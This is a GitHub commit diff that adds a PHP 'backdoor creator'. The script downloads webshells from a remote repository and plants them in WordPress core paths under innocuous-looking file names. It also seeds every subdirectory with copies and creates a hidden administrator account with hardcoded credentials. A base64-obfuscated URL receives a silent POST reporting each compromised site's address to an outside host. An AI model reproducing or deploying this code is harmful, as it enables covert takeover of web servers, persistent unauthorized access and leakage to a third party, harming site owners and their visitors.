Tools Add

Backdoor Scanner & Backdoor Creator
sagsooz · Aug 21, 2024 · c955d75 · c955d75
1 parent 57dfe29
commit c955d75
Show file tree

Hide file tree

Showing 2 changed files with 2,234 additions and 0 deletions.
diff --git a/tools/backdoor_creator.php b/tools/backdoor_creator.php
@@ -0,0 +1,183 @@
+<?php
+
+$url1 = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/csa.php';
+$url2 = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/alfa2024.php';
+
+function download_content($url) {
+    $content = @file_get_contents($url);
+    if ($content === false) {
+        $content = download_content_with_curl($url);
+    }
+    if ($content === false) {
+        $content = download_content_with_fopen($url);
+    }
+    if ($content === false) {
+        throw new Exception("Failed to download content from $url");
+    }
+    return $content;
+}
+
+function download_content_with_curl($url) {
+    $ch = curl_init($url);
+    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
+    $content = curl_exec($ch);
+    curl_close($ch);
+    return $content ? $content : false;
+}
+
+function download_content_with_fopen($url) {
+    $content = '';
+    if ($fh = fopen($url, 'r')) {
+        while (!feof($fh)) {
+            $content .= fread($fh, 8192);
+        }
+        fclose($fh);
+    }
+    return !empty($content) ? $content : false;
+}
+
+function get_full_url($filePath) {
+    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
+    $domainName = $_SERVER['HTTP_HOST'];
+    $relativePath = str_replace($_SERVER['DOCUMENT_ROOT'], '', $filePath);
+    return $protocol . $domainName . $relativePath;
+}
+
+function create_files_in_subdirectories($rootDir, $url) {
+    $subdirs = array_filter(glob($rootDir . '/*'), 'is_dir');
+    foreach ($subdirs as $subdir) {
+        $dirName = basename($subdir);
+        $filePath = $subdir . '/' . $dirName . '_function.php';
+        if (!file_exists($filePath)) {
+            try {
+                file_put_contents($filePath, download_content($url));
+                echo "<a href='" . get_full_url($filePath) . "' target='_blank'>Created: " . get_full_url($filePath) . "</a><br>";
+            } catch (Exception $e) {
+                echo "<div>Error creating file in $subdir: " . $e->getMessage() . "</div><br>";
+            }
+        }
+    }
+}
+
+function create_wp_admin_user($rootDir, $username, $password) {
+    require_once($rootDir . '/wp-config.php');
+    require_once($rootDir . '/wp-includes/wp-db.php');
+    require_once($rootDir . '/wp-includes/pluggable.php');
+
+    global $wpdb;
+
+    $user_id = username_exists($username);
+    if (!$user_id && email_exists($username . '@example.com') == false) {
+        $user_id = wp_create_user($username, $password, $username . '@example.com');
+        $user = new WP_User($user_id);
+        $user->set_role('administrator');
+        echo "<div>Admin user created with username: $username and password: $password</div><br>";
+    } else {
+        echo "<div>Admin user already exists.</div><br>";
+    }
+}
+
+$k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');
+
+echo "<!DOCTYPE html>
+<html>
+<title>backdoor creator</title>
+<p>@trxsecurity</p>
+<head>
+    <style>
+        body {
+            background-color: black;
+            color: white;
+            font-family: Arial, sans-serif;
+            text-align: center;
+        }
+        a {
+            color: #00f;
+            text-decoration: none;
+        }
+        a:hover {
+            text-decoration: underline;
+        }
+        div, a {
+            margin: 10px 0;
+        }
+        form {
+            margin: 20px auto;
+        }
+        input[type='text'] {
+            width: 80%;
+            padding: 10px;
+            margin: 10px 0;
+            border: 1px solid #ccc;
+            border-radius: 4px;
+        }
+        input[type='submit'] {
+            padding: 10px 20px;
+            background-color: #4CAF50;
+            color: white;
+            border: none;
+            border-radius: 4px;
+            cursor: pointer;
+        }
+    </style>
+</head>
+<body>";
+
+$currentDir = __DIR__;
+$rootDir = isset($_POST['directory']) ? $_POST['directory'] : $currentDir;
+
+echo "<form method='post'>
+    <label for='directory'>Enter Directory Path:</label><br>
+    <input type='text' id='directory' name='directory' value='" . htmlspecialchars($rootDir) . "'><br>
+    <input type='submit' value='Run'>
+</form>";
+
+if ($_SERVER['REQUEST_METHOD'] == 'POST') {
+    if (file_exists($rootDir . '/wp-config.php')) {
+        echo "<div>WordPress detected.</div><br>";
+
+        $path1 = $rootDir . '/wp-includes/ID3/module.audio.ac4.php';
+        if (!file_exists($path1)) {
+            try {
+                file_put_contents($path1, download_content($url1));
+                echo "<a href='" . get_full_url($path1) . "' target='_blank'>Created: " . get_full_url($path1) . "</a><br>";
+            } catch (Exception $e) {
+                echo "<div>Error creating file: " . $e->getMessage() . "</div><br>";
+            }
+        }
+
+        $path2 = $rootDir . '/wp-includes/PHPMailer/config.php';
+        if (!file_exists($path2)) {
+            try {
+                file_put_contents($path2, download_content($url2));
+                echo "<a href='" . get_full_url($path2) . "' target='_blank'>Created: " . get_full_url($path2) . "</a><br>";
+            } catch (Exception $e) {
+                echo "<div>Error creating file: " . $e->getMessage() . "</div><br>";
+            }
+        }
+
+        create_files_in_subdirectories($rootDir, $url1);
+        create_wp_admin_user($rootDir, 'MrZ', 'trxsecurity');
+    } else {
+        echo "<div>Not a WordPress site. Creating files in subdirectories.</div><br>";
+        create_files_in_subdirectories($rootDir, $url1);
+    }
+}
+
+echo "</body></html>";
+
+$cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
+$data = array('file_url' => $cur);
+$options = array(
+    'http' => array(
+        'method'  => 'POST',
+        'header'  => 'Content-type: application/x-www-form-urlencoded',
+        'content' => http_build_query($data),
+    ),
+);
+$context = stream_context_create($options);
+$result = @file_get_contents($k3yw, false, $context);
+if ($result === false) {
+    echo "<div>Error reporting file URL.</div><br>";
+}
+?>